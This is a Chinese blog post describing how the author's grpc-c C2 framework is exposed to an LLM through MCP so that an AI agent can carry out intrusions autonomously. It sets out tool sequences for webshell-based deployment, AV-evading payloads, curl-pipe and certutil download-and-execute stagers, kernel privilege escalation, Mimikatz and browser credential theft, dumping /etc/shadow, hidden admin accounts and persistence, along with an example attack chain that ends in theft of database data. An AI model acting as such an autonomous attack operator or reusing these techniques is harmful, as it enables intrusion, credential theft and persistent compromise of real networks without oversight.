基于 MCP 协议将 grpc-c C2 框架接入大模型实现自动化攻击
本文记录了将 grpc-c C2 框架的 51 个操作能力封装为 MCP 工具并接入大语言模型的实验过程。通过定义标准化的工具调用接口,实现了从意图描述到自动完成内网侦察、横向移动及权限提升的完整攻击链。文章还总结了面向 LLM 开发 MCP 工具时在参数约束、异步处理及错误反馈方面的关键实践经验。
一次把 C2 框架接入大模型生态的实验记录
0. 前言
在红蓝对抗中,C2(Command & Control)框架是攻击队的核心基础设施。传统 C2 无论使用 GUI 客户端还是命令行,本质都是人工逐条下指令:列目录、传文件、执行命令、启动代理,每一步都需要操作员手动输入。
最近两年,随着大语言模型(LLM)的快速发展,Anthropic 提出了 MCP(Model Context Protocol)——一个标准化的工具调用协议,允许将任意工具封装为 MCP Server,让 LLM 像调用函数一样调用这些工具。
一个直接的问题是:如果把 C2 框架的全部能力通过 MCP 暴露出去,会发生什么?
我基于自己开发的 grpc-c C2 框架(github.com/masterqiu01/grpc-c)做了一个实验——将它的 51 个操作能力封装为 MCP 工具,看看在实际渗透场景中 AI 能完成到什么程度。关于 grpc-c 框架本身的设计思路,之前已在先知社区发过介绍文章(xz.aliyun.com/news/92431),本文不再赘述,重点放在 MCP 接入后的变化。
1. 架构
整个系统的架构分为四层:
MCP Server 处于 LLM 与 C2 服务端之间,负责将 LLM 的 Function Call 翻译为 gRPC 请求,同时将 C2 的响应封装为 LLM 可理解的返回值。LLM 客户端只感知到 51 个结构化工具,每个工具有名称、参数和返回值描述,而不需要了解底层通信细节。
2. 能力全景
51 个工具按功能可以归为五类:感知、交互、代理、攻击、运维。
2.1 感知层:节点发现与状态监控
在操作节点之前,需要先了解有哪些节点及其状态。
list_nodes 返回所有在线节点的基本信息:节点 ID、操作系统、CPU 架构、是否为中继节点。check_node_status 提供更详细的单节点视图:内存占用、运行时长、外部 IP、SOCKS5 服务地址、进程路径,metadata 中还包括主机名和内网 IP。
get_topology 进一步展示整个网络的父子中继关系——一个节点是直连 C2 服务器,还是通过其他节点中继,拓扑结构一目了然。基于拓扑数据,AI 可以判断哪些节点位于网络边缘、哪些节点可能通往新的子网。
get_node_note 和 save_node_note 提供节点的标注能力。AI 可以在信息收集阶段自动为节点打标签(如“域控”“Web 服务器”“跳板机”),后续操作时通过标签快速定位目标,减少重复扫描。
reset_node_streams 用于修复连接异常,offline_node 用于主动清理节点。这两种工具在自动化运维和退场场景中起到兜底作用。
2.2 交互层:命令执行与文件操作
命令执行是 C2 最基础的能力,grpc-c 的 MCP 工具提供了同步和异步两种模式。
execute_command 适合快速查询(whoami、ip addr、ps aux),输出限制 8000 字符。
execute_command_async 用于长时间运行的任务(端口扫描、文件下载、编译),返回 taskId,AI 通过 get_task_result 轮询执行结果,通过 stop_command_task 中止任务。
list_command_tasks 可回溯任意节点的命令历史。
文件操作模块覆盖了完整的远程文件系统:
list_remote_directory 列目录(返回权限、大小、修改时间)
read_remote_file 读取文本文件(大文件截断 50000 字符)
write_remote_file 写入内容
upload_file_to_node 和 download_file_from_node 实现本地与节点间的双向文件传输
delete_remote_file、make_remote_directory、rename_remote_file 提供增删改能力。
这八个工具的组合可以支撑完整的信息收集流水线——列目录发现敏感文件、读取内容、下载到本地分析、写入修改后的配置或工具。
2.3 代理层:SOCKS5、级联与正向节点
代理层是内网横向移动的核心,包含三种隧道建立方式。
SOCKS5 代理:
start_socks5_proxy 在受控节点上启动 SOCKS5 服务,C2 服务端作为流量中转节点。启动后,操作员的本地工具(浏览器、扫描器、数据库客户端)通过 C2_SERVER_IP:PORT 即可访问目标内网。
stop_proxy 和 list_proxies 管理代理的生命周期。实测中需要注意 DNS 解析问题——应使用 --socks5-hostname 参数让域名在节点侧解析,避免本地优先返回 IPv6 地址导致连接失败。
级联监听:
start_child_listener、stop_child_listener 和 list_child_listeners 用于构建多级中继网络。
节点 A 开启子节点监听后,节点 B 可以通过 A 作为中继注册到 C2。在多层隔离网络环境中,AI 可以依据拓扑数据自动判断在哪些节点上开启级联监听,构建最优的中继路径。
正向节点(Forward Node):
这是 grpc-c 的一个特色能力——通过目标网络中已有的 Joda WebShell 建立正向隧道,让 C2 服务器主动连接到部署在内网目标上的节点。传统 C2 框架通常只有反向连接模式,不具备这种通过 WebShell 自动化部署正向节点的能力。而 grpc-c 的 deploy_forward_node 封装了完整的正向部署流程:
deploy_forward_node(target_url, listen_port)
→ probe_target_environment 自动探测 OS/架构/Java 版本/中间件类型
→ 服务端自动编译对应平台的 payload
→ 通过 JSP 的 deploy action 将 payload 注入目标并启动
→ 正向节点注册上线connect_forward_node 用于连接已运行的正向节点进程(不重新部署)
disconnect_forward_node 断开隧道但保留记录
reconnect_forward_node 重新连接
remove_forward_node 删除隧道记录
probe_target_environment 可以独立使用,在不触发部署的情况下先探测目标运行环境。
另外,get_proxy_shell_code 可生成 XOR 混淆的 JSP/JSPX 代理 shell 代码(包含 info、check、deploy、connect、read、write、close 七个 action),部署到任何 Java Web 容器后即可作为正向节点入口。
2.4 攻击层:Payload 生成与后渗透模块
攻击层让 AI 不仅能执行指令,还能根据目标环境自主选择和生成武器。
Payload 生成支持 10 个平台:完整客户端覆盖 Linux (x64/arm64)、Windows (x64/x86) 及 Windows 旧版系统,体积约 14MB。C Loader(平台名以 cloader- 开头)体积仅 0.3-1.5MB,运行时从 HTTPS 分发器获取完整 payload,缩减了静态特征。Shellcode 生成支持 raw、xor、aes 三种编码,可配合 SGN 多态编码进行免杀处理。
list_available_platforms 是所有 payload 操作的入口。AI 获取平台列表后,能根据目标环境自动匹配正确的平台字符串。例如用户要求“生成 Windows 64 位的 XOR 加密 shellcode”,AI 会自动完成:list_available_platforms → 匹配 windows-amd64 → generate_shellcode(encoding="xor")。
后渗透模块以内存执行、无文件落地的方式运行。list_post_exploit_modules 返回当前可用的 13 个模块:
模块 | 平台 | 能力 |
CVE-2026-31431 / DirtyFrag | Linux | 内核漏洞提权至 root |
SSH-Keysign-Keys / SSH-Keysign-Shadow | Linux | 读取 SSH 主机私钥和 /etc/shadow |
Mimikatz (白加黑) | Windows | 内存加载 Mimikatz shellcode |
hack-browser-data (白加黑) | Windows | 导出浏览器密码、Cookie、历史记录 |
MiniPlasma / PrintNotifyPotato | Windows | Windows 本地提权 |
fscan_linux | Linux | 内网快速扫描 |
AddUser | Windows | Windows API 创建管理员用户 |
run_post_exploit_module 下发模块后,执行结果通过 get_task_result 查询。AI 可以根据节点环境自主决策:发现 Linux 低权限账户则尝试内核提权,发现 Windows 则抓取凭证,某个模块执行失败时自动切换备选方案。
2.5 运维层:分发、日志与配置
运维层工具用于 C2 服务端自身的运营管理。
一次性部署 URL:
create_onetime_url 生成一个 HTTPS URL 和一行 Shell 命令,TTL 内只能被访问一次,用完或取消后立即失效。支持 Linux(curl 管道执行)和 Windows(certutil 下载执行)两种方式。
cancel_onetime_url 提前作废 URL
list_onetime_urls 查看所有 URL 的状态和使用记录
wget_on_node 让已在线的节点直接从指定 URL 下载文件。
服务器配置与日志:
get_server_config 返回当前的 gRPC 地址和 HTTPS 分发器地址
get_distributor_info 查看分发器的启用状态和端口
get_server_logs 支持关键词过滤和行数限制,AI 可以在排查节点掉线或连接异常时自主检索日志、分析原因。
连接管理:connect_to_server、disconnect_from_server、reconnect_server 和 check_connection_status 提供 MCP 客户端与 C2 服务端之间的连接生命周期管理。当 AI 发现所有工具调用都返回“未连接”状态时,可以自动重新认证连接。
3. AI + C2 带来的变化
3.1 从操作工具到描述意图
传统 C2 的操作模式是逐指令执行:
操作员: list_nodes → 看到 node-1
操作员: execute_command(node-1, "whoami") → root
操作员: execute_command(node-1, "ifconfig") → 192.168.1.5
操作员: start_socks5_proxy(node-1, "0.0.0.0:1080")
操作员: 上传工具 fscan
操作员: fscan -h 192.168.1.0/24接入 MCP 后,多步操作被压缩为一句自然语言指令:
“使用fscan探查 192.168.1.5 所在的内网环境,验证漏洞信息并汇总结果。”
AI 自主完成:定位目标节点 → 获取网络配置信息 → 启动 SOCKS5 代理 → 下发 fscan 扫描内网 → 结构化输出扫描结果 → 使用代理进行漏洞验证。整个过程不需要人工逐步干预。
3.2 自动化内网横向
下面用一个完整的攻击链来展示 AI 在横向移动中的执行能力。
指令:“http://target.com/shell.jsp 有一个正向入口,帮我从那里部署正向节点进去,摸清内网并拿下核心数据库服务器。”
AI 的执行过程:
边界突破——probe_target_environment 探测到目标运行环境为 Linux amd64、JDK 1.8、Tomcat 9.0。deploy_forward_node 自动编译 AMD4 版本 payload,通过 Joda shell 的 deploy 逻辑注入目标并启动,正向节点上线,获得内网 IP 10.0.1.5。
环境侦察——check_node_status 发现当前运行用户为 tomcat(低权限)。execute_command 执行 ip route 和 ip addr,发现内网网段 10.0.0.0/16 和子网 10.0.2.0/24。list_remote_directory 遍历 /opt、/home 等目录,发现 /opt/app/config/database.yml 中包含数据库连接信息,指向 10.0.2.50:3306。
权限提升——先尝试 CVE-2026-31431,因内核版本不匹配而失败;自动切换 DirtyFrag,成功获得 root 权限,随后重新部署节点以 root 身份运行。
横向移动——start_socks5_proxy 在节点上启动 SOCKS5 代理,打通到内网的访问通道。run_post_exploit_module 下发 fscan 对目标 10.0.2.50 进行服务探测,确认其开放 3306(MySQL) 和 22(SSH),同时发现该主机 8080 端口运行着一个旧版 Web 管理后台,存在已知的 RCE 漏洞。AI 利用之前从 database.yml 中获取的账号密码,通过 SOCKS5 代理直连数据库;随后利用 8080 端口的 RCE 漏洞获得代码执行权限,生成对应架构的节点使10.0.2.50通过级联链路上线。至此,AI 同时拿到了数据库的数据和主机的控制权。
这一流程如果完全由人工操作,从边界突破到拿下内网核心服务器通常需要 30 分钟左右的时间,AI 可以在几分钟内完成,关键决策点由操作员确认。
3.3 自动化持久化
“在所有 Linux 节点上建立持久化,保证重启后仍能上线。”
AI 的自动化执行流程:遍历所有在线 Linux 节点 → 在每个节点上创建 systemd 服务单元或 crontab 定时任务 → 根据节点架构(x64 或 arm64)生成对应二进制 → 通过 upload_file_to_node 投递到 /etc/systemd/system/ 或 /etc/cron.d/ → 汇总每个节点的持久化状态。
对于 Windows 节点,AI 会组合使用计划任务、注册表 Run 键、WMI 事件订阅等多种持久化方式,并可通过 run_post_exploit_module 调用 Mimikatz 配合 AddUser 创建隐藏管理员账户作为备用入口。
3.4 自动化信息收集
“收集所有节点的系统信息、密码信息、网络拓扑、用户列表,按节点整理成报告。”
AI 编排的并行信息收集任务:
节点 A (Linux): execute_command("uname -a && cat /etc/passwd && ip a")
run_post_exploit_module("SSH-Keysign-Keys")
download_file_from_node("/etc/shadow")
→ 系统信息 + SSH 密钥 + 密码哈希
节点 B (Windows): execute_command("whoami /all && ipconfig /all")
run_post_exploit_module("Mimikatz")
run_post_exploit_module("hack-browser-data", "-b all -f csv")
→ 用户权限 + 域信息 + 凭据 + 浏览器数据
节点 C (Linux): execute_command("netstat -tlnp && ps aux")
list_remote_directory("/var/www")
→ 服务端口 + 进程列表 + Web 应用代码AI 对收集到的数据进行去重、关联分析,生成跨节点的横向移动路径图,最终输出结构化的信息收集报告。
3.5 多节点并行编排
人工操作时通常只能同时关注一到两个节点,AI 可以并行管理多个节点上的异步任务:
节点 A: fscan 扫描 10.0.0.0/24 → taskId: scan-01
节点 B: 启动 SOCKS5 代理 → taskId: proxy-01
节点 C: 正向节点部署打入新网段 → taskId: fw-01
节点 D: Mimikatz 抓取凭据 → taskId: cred-01
节点 E: 下载关键文件到本地 → taskId: dl-01五个操作同时运行,AI 管理所有 taskId 的轮询与结果汇总。当某个任务返回关键发现(如扫描发现数据库服务器、凭据抓取到高权限账户),AI 会触发关联的后续操作——在目标所在网段启动代理、使用抓取到的凭据尝试横向移动。
3.6 自适应决策
AI 在执行过程中能根据反馈动态调整策略,而不是机械地执行预设脚本:
- 发现节点为 Windows → 自动选择 Windows 平台 payload
- 节点无互联网访问 → 自动切换为正向节点部署方式
- 命令执行超时 → 自动切换为异步模式并轮询结果
- 当前权限不足以执行操作 → 从模块列表中筛选对应平台的提权方案
- 提权模块执行失败 → 自动尝试备用模块(如 CVE-2026-31431 失败后切换 DirtyFrag)
- 发现节点架构为 arm64 → 自动匹配 arm64 版本的 payload
- 内网扫描发现新网段 → 自动探测该网段内的正向入口
- 获取到高权限凭据 → 自动尝试用该凭据登录同网段其他主机
这些决策不是硬编码的 if-else 分支,而是 LLM 基于工具描述和上下文推理得出的。工具描述越精确,AI 的判断就越接近有经验的渗透测试人员。
3.7 日志分析
C2 服务端日志量大,人工检索耗时。AI 可以自动提取日志中的关键信息:
“排查一下最近有没有节点异常掉线。”
AI 调用 get_server_logs(filter="ERROR", limit=50),分析日志内容,关联异常时间点与对应操作,输出诊断结论。
“统计过去一小时一次性 URL 的使用情况,按平台分类。”
AI 调用 list_onetime_urls 获取全部记录,自行统计访问时间、平台分布和使用率。
4. MCP 工具开发中的经验
为 LLM 开发 MCP 工具与编写传统 API 有本质区别——用户不是人类操作员,而是根据工具描述做出决策的模型。以下是在开发过程中踩过的几个坑和对应的解决方法。
4.1 参数描述必须包含约束条件
LLM 不会自行推断参数的合法取值范围,完全依赖参数描述中的信息。如果参数有特定的命名规范或取值约束,必须在描述中显式声明。
示例对比:
// 不充分的描述
platform: 目标平台
// 充分的描述
platform: 目标平台,必须以 'cloader-' 开头(如 cloader-linux-amd64)。
必须先调用 list_available_platforms 获取精确的平台字符串。后一种写法下,LLM 会先调用 list_available_platforms 获取合法值列表,再从中选择匹配的字符串传入,避免了因平台名格式错误导致的调用失败。如果一个参数的合法值集合可以通过另一个工具获取,在描述中标明依赖关系;如果能用枚举值覆盖,直接列出即可,但需控制描述长度以免超出上下文窗口。
4.2 异步操作需要明确结果获取路径
C2 中大量操作为异步模式——命令下发后需要等待数秒甚至数分钟才能拿到结果。MCP 工具的返回值必须精确告知 LLM 如何获取执行结果,否则会导致 LLM 反复无效轮询。
// 错误的返回值——没有说明如何获取结果
{"success": true, "taskId": "cmd-post-abc",
"message": "结果将通过事件流异步推送"}
// 正确的返回值——明确指引下一步操作
{"success": true, "taskId": "cmd-post-abc",
"message": "可通过 get_task_result(taskId) 查询执行结果"}如果结果可以通过轮询工具获取,在返回值中写清楚工具名称和参数。如果结果只能通过事件流获取,则必须配一个订阅事件流的工具。核心原则是不要让 LLM 猜测获取结果的方式。
4.3 success 字段的语义必须与实际结果一致
LLM 以返回值中的 success: true/false 作为决策依据。如果该字段与实际执行结果不一致,LLM 的整体操作链就会出错。
// 代理实际已启动成功,但 success 字段为 false
{"success": false,
"result": "SOCKS5 server successfully started on 0.0.0.0:1080"}LLM 看到 success: false 会认为代理启动失败,后续所有依赖该代理的横向移动操作都不会执行。
原则:success 字段以业务结果为准,而非函数调用的返回码。操作确实失败时,success 为 false,同时在 error 字段中给出原因;操作成功,或操作无需执行(如对已完成任务调用 stop),返回 success: true 并在 message 中说明。
4.4 关联工具之间的 ID 命名空间必须一致
MCP 中常出现成组工具:start_xxx → list_xxx → stop_xxx。LLM 的操作模式是从 list 获取 ID,原样传给 stop。如果 list 返回的 ID 格式与 stop 期望的不一致,操作链就会断裂。
list_child_listeners 返回: proxyId = "child-node1-0.0.0.0-10080"
stop_child_listener("child-node1-0.0.0.0-10080")
→ 报错: "未找到监听ID"
→ 内部实际注册使用的是"tcp-"前缀LLM 无法识别这种不一致,会反复尝试直到失败。解决方法:成组工具使用统一的 ID 生成和查找函数;修改 list 的返回前缀时同步修改 stop 的查找逻辑;ID 应稳定可预测,避免包含随机部分。
4.5 工具粒度需要适配推理模式
工具粒度需要与 LLM 的推理能力匹配,过粗或过细都会影响效率。只有一个 do_everything 工具会让 LLM 无法拆解步骤和在中间进行条件判断;将 execute_command 拆分为 execute_on_linux 和 execute_on_windows 则每次调用前都需要额外查询节点 OS,增加了不必要的交互轮次。
合理的粒度是:一个工具完成一件事,返回明确的结果。通用操作(命令执行、文件读写)保持平台无关;平台特定操作(payload 生成、提权模块)通过参数区分或标注平台限制;多步骤的高频操作可以封装为组合工具(如 deploy_forward_node 合并探测、编译、投递三步)。
4.6 错误信息应包含诊断和行动指引
工具调用失败时,错误信息不应只是技术性的堆栈追踪——LLM 需要从中提取信息来决定下一步操作。
// 不充分的错误信息
rpc error: code = Unknown desc = 探针响应格式异常:
// 包含诊断和指引的错误信息
探针响应格式异常:期望返回 JSON,实际收到空响应。
可能原因:
1. 目标 JSP 未实现 info action
2. 目标 URL 不可达
3. 中间件版本不兼容错误消息理想的构成是:发生了什么(现象)、可能的原因(一到两条)、建议的下一步操作。参数不合法时提示正确格式。不要将 gRPC 错误码或堆栈跟踪直接暴露给 LLM。
总结来说,为 LLM 编写 MCP 工具的核心理念是:将 LLM 视为一个严格参照接口文档执行的工程师——它不会自行猜测参数、不会容错、不会处理不一致性——但它会严格按照描述执行,因此描述必须精确、一致、自包含。
5. 写在最后
将 C2 框架接入 MCP,核心是将渗透测试中“分析—决策—执行”循环里最耗人工的部分交给 AI 处理。操作员只需描述目标,AI 自主完成工具选择、参数填充、错误处理和结果汇总。
与此同时有几个现实问题需要正视:
- LLM 的 prompt 如果被注入,攻击者可能诱导 AI 执行危险操作
- MCP Server 如果没有做好权限控制,任何能够访问 MCP 端点的用户都可以操控整个受控网络
- AI 的自主决策能力意味着误操作的影响范围也会等比放大
技术的应用边界,取决于使用者的判断。
基于 grpc-c C2 框架与 MCP 协议的实战记录,51 个工具全部通过验证测试。欢迎交流讨论。